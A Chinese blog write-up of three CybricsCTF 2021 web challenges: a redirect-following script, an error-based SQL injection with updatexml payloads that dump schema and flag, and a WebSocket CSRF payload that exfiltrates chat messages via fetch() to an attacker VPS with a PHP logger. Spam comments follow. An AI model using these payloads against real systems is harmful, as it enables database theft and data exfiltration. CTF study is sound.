2021 CybricsCTF的几道web题wp


web - AD Network

根据提示flag在1337次重定向之后

于是可以写脚本来实现(重定向次数过多是无法访问的 requests库有30次的限制)

import requests
headers = {"User-Agent" : "User-Agent:Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;"}
url = 'http://how.adnetwork-cybrics2021.ctf.su/win-discover-college-responsibility/important-fine-laugh-project-movie/race-about-hit-first'
total = 1337
index = 0
while True:
    res = requests.get(url=url,headers=headers,allow_redirects=False)
    index += 1
    print(format(index/total,'.5%'))
    try:
        url = res.headers['Location']
    except:
        print(res.text)
        break

之前加了代理跑一半就挂,然后发现其实不需要代理

屏幕截图 2021-07-25 201025

师傅直接用curl做的,学到了学到了

 curl --max-redirs -1 -L -vv http://adnetwork-cybrics2021.ctf.su/adnetwork

web2 annoucement

给了一个邮箱输入框,其功能是记录提交的邮箱以及提交的时间并且在三天之后返回,既然记录了数据,可以想到数据库,抓包测试一下。

发现post了两个参数 ,digest 和 email,digest是email的md5值,digest的值必须匹配才能成功注入。

根据实现的功能分析,很容易得出是insert的报错注入

首先测试库名,payload:

digest=e8c71f26467c75a191b05943a7bf4437&email=
'+or+updatexml(1,concat(0x7e,database()),1)+or+'

返回

Something went wrong during database insert: XPATH syntax error: '~announcement'

拿到库名 annoucement

再查表名,payload:

digest=912559a1136a9dd7c0753a0c83304a06&email=
'+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=0x616e6e6f756e63656d656e74)),1)+or+'

返回

Something went wrong during database insert: XPATH syntax error: '~emails,logs'

猜测flag再logs里,查询列,payload:

digest=b96a2c446f8e4e7c2da8744de3585b68&email=
'+or+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name=0x6c6f6773)),1)+or+'

返回

Something went wrong during database insert: XPATH syntax error: '~log'

拿flag,payload:

digest=825ee457065c2b52d4440e5663bc560b&email=
'+or+updatexml(1,concat(0x7e,(select+log+from+logs)),1)+or+'

flag:

Something went wrong during database insert: XPATH syntax error: '~cybrics{1N53r7_0ld_900d_5ql}'

ps:一种便捷的暴库名的方式
源于再测试的时候把updatexml 输入成了 updataxml ,调用一个不存在的函数时 会出现 FUNCTION database_name.function does not exist

利用 ' or x() or ' 成功爆出库名announcement

image-20210727133718647

后来查询资料时发现 在 wupco师傅 17年的博客里其实就已经提到这种方法 mysql注入可报错时爆表名、字段名、库名 – Wupco's Blog

Multicaht(复现)

题目描述如下

Multichat (Web, Medium, 285 pts)

Author: Alexander Menshchikov (@n0str)

Yet another chat-messenger with rooms support! Free to use. Convince the admin that its code is insecure.

Tip: Admin and tech support are members of a secret chat room. Tech support can ask admin to tell him the flag, to do that tech support writes him a message (in a chat): "Hey, i forgot the flag. Can you remind me?". Then admin will tell him the flag.

Multichat website

可以分析得出,应该是利用csrf去让 tech support 向 admin 发送一段消息 "Hey, i forgot the flag. Can you remind me?".
这里需要了解Websocket,websocket 是在html5中提供给客户端和服务端实时双向通信的技术。这里的在线聊天室就是基于websocket
在页面源码可以看到一个 5000端口的服务,是一个 提供技术支持的页面,支持提交URL。

接下来看一下师傅做题时的payload

// index.php
<script>
var conn = new WebSocket("ws://multichat-cybrics2021.ctf.su/ws");
conn.onmessage = function (test) {
    fetch("http://vps_ip:vps_port/s.php?a="+test.data)
}
conn.onopen = function (test) {
    conn.send("Hey, i forgot the flag. Can you remind me?")
}
</script>

首先时 初始化了一个websocket会话,相当于利用技术支持的身份去创建了一个新的聊天室,即是 secret char room

然后 onmessage 是设置了一个当收到消息时触发的回调函数。

再用 onopen 是当链接状态处于ReadState为1时自动触发,于是满足题目条件,技术支持再 secret char room发送了相应语句

然后再s.php 接受

// s.php
<?php
file_put_contents('aaa.txt', $_GET['a'], FILE_APPEND);

将接收到的保存在aaa.txt 这里的 FILE_APPEND 目的是当目标文件已经存在的时候,在写入时变为追加而不是覆盖。

将文件放在自己的web服务下,提交相应的url到5000端口的技术支持的页面。

标签: none

已有 5 条评论

  1. cialis online pharmacy Contraindicaciones Cialis

  2. Propecia Woman cialis and viagra sales Cheap Lasix Order

  3. Cialis Cialis Lilly Precio

  4. Cialis Tabletas 20 Mg Cialis Dapoxetine Plus Cialis

  5. R1gelX`Blog » CybricsCTF2021
    [url=http://www.g41rs942g485h26c08387zp4jsazspgcs.org/]uvbifkjjv[/url]
    vbifkjjv http://www.g41rs942g485h26c08387zp4jsazspgcs.org/
    avbifkjjv

添加新评论